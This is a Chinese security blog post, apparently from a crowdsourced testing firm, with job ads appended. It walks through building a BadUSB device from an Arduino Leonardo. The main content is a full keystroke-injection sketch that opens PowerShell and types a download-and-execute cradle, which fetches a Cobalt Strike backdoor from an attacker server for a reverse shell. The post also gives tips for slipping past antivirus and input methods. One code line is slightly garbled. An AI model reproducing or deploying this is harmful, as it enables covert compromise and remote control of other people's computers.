STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

NO.1 简介

通过硬件直接插入对方电脑，让对方电脑执行代码，达到干扰、控制主机或者窃取信息等目的。

NO.2 威胁

BadUSB的威胁在于：恶意代码存在于U盘的固件中，PC上的杀毒软件无法访问到U盘存放固件的区域，因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB的攻击。

leonardo usb，长得最接近普通usb的工具，某宝上价格在40左右。

附带介绍一下usbNinja，某宝上200左右的价格，形态为一个数据线，但是也具有数据线的功能，是真正接近伪装的工具。

由于经费的问题，作者选择了前者。

整体badusb的思路，通过cs，或者msf生成后门木马。放在服务器XXX目录下，开启http服务。然后在usb写入语句（语句内容：下载服务器XXX目录下的木马，然后执行木马）。从而cs，或者msf反弹上线。现在是要开始实现这一个过程。

我们插入leonardo的时候电脑会出现com口，如果没有这个驱动要用驱动精灵之类的软件进行安装。

我的电脑管理——设备管理中会出现一个端口

NO.3 Arduino

这边介绍到使用的环境工具。

http://www.arduino.cn/thread-5838-1-1.html

Arduino是一款便捷灵活、方便上手的开源电子原型平台。它构建于开放原始码simple I/O介面版，并且具有使用类似Java、C语言的Processing/Wiring开发环境。

主要包含两个主要的部分：硬件部分是可以用来做电路连接的Arduino电路板；另外一个则是Arduino IDE，你的计算机中的程序开发环境。你只要在IDE中编写程序代码，将程序上传到Arduino电路板后，程序便会告诉Arduino电路板要做些什么了。

如图工具——开发板——开发板管理器

制作不同的badusb要安装不同的开发板模块。
我们制作的是Leonardo，所以选中leonardo开发板，进行安装即可。

然后我们在服务器上启动CS，生成一个powershel的后门，那为啥不用window的呢？相对来说杀软对exe和ps1格式的显然是exe的会敏感得多，所以我们选择powershell的后门，对于结果来说都是一样的。

然后将后门放置到服务器上，接着开启http服务，提供下载。

我们正常使用系统命令去测试下载执行：
IEX(New-Object Net.WebClient).DownloadString('http://服务器ip:8000/cs.ps1')

发现成功上线

整体思路便出来了，我们去构造对应的代码，键盘输入window+R键唤出运行，然后运行命令进行下载。

我们将构造好的代码放入Arduino

NO.4

include<Keyboard.h>

void setup() {  // putpower shell your setup code here, to run once  Keyboard.begin();//开始键盘通讯  delay(3000);//延时  Keyboard.press(KEY_LEFT_GUI);//win键  delay(500);  Keyboard.press('r');//r键  delay(500);  Keyboard.release(KEY_LEFT_GUI);  Keyboard.release('r');  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  delay(500);  Keyboard.println("powershell");  delay(500);  Keyboard.press(KEY_RETURN);  Keyboard.release(KEY_RETURN);  delay(2000);  Keyboard.println("iex(new-object net.webclient).downloadstrin服务器ip:8000/后门程序');");  Keyboard.press(KEY_RETURN);  Keyboard.release(KEY_RETURN);  Keyboard.press(KEY_CAPS_LOCK);  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.end();//结束键盘通讯}
void loop() {// put your main code here, to run repeatedly:
}

将代码贴入，然后点击上传。为什么要开启大写哦，因为大部分人的电脑都装有输入法，如果不开启大写，输入小写字母就会自动调用输入法，然后变成杂乱无章的中英文，便会无法正确执行命令。

烧录成功后拔出usb。下一次插入的时候就会是下面的模样，系统自动执行代码去请求从而反弹shell。

这边有出现过很神奇的问题（根据每个人电脑输入法不同），如下图：
原始语句其实是这样的：

Iex(New-Object Net.WebClient).DownloadString。

你会发现只要是大写的字母都无法输入，问题原因在于前面进行大写字转换，绕过输入法错误。

解决方案就都把命令改为小写iex(new-object net.webclient).downloadstring，linux区分大小写文件名，window不分大小写文件名（即:cs.ps1重名CS.PS1）
我把服务器的马名字改成大写。

可以成功执行，端一下cs上线。

附带键盘按键事件：

KEY_LEFT_CTRL 左ctrlKEY_LEFT_SHIFT 左shiftKEY_LEFT_ALT 左altKEY_LEFT_GUI 左windowKEY_RIGHT_CTRL 右ctrlKEY_RIGHT_SHIFT 右shiftKEY_RIGHT_ALT 右altKEY_RIGHT_GUI 右windowKEY_UP_ARROW 上KEY_DOWN_ARROW 下KEY_LEFT_ARROW 左KEY_RIGHT_ARROW 右KEY_BACKSPACE 空格KEY_TAB tabKEY_RETURN 回车KEY_ESCKEY_INSERTKEY_DELETEKEY_PAGE_UPKEY_PAGE_DOWNKEY_HOMEKEY_ENDKEY_CAPS_LOCKKEY_F1KEY_F2KEY_F3KEY_F4KEY_F5KEY_F6KEY_F7KEY_F8KEY_F9KEY_F10KEY_F11KEY_F12

RECRUITMENT

招聘启事

安恒雷神众测SRC运营（实习生）
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3.  参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4.  积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强，性格活泼，具备良好的人际交往能力；
 2.  对网络安全感兴趣，对行业有基本了解；
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师（实习生）

————————

简历投递至 

[email protected]

安全招聘

简历投递至

[email protected]

岗位：红队武器化Golang开发工程师

[email protected]

END

长按识别二维码关注我们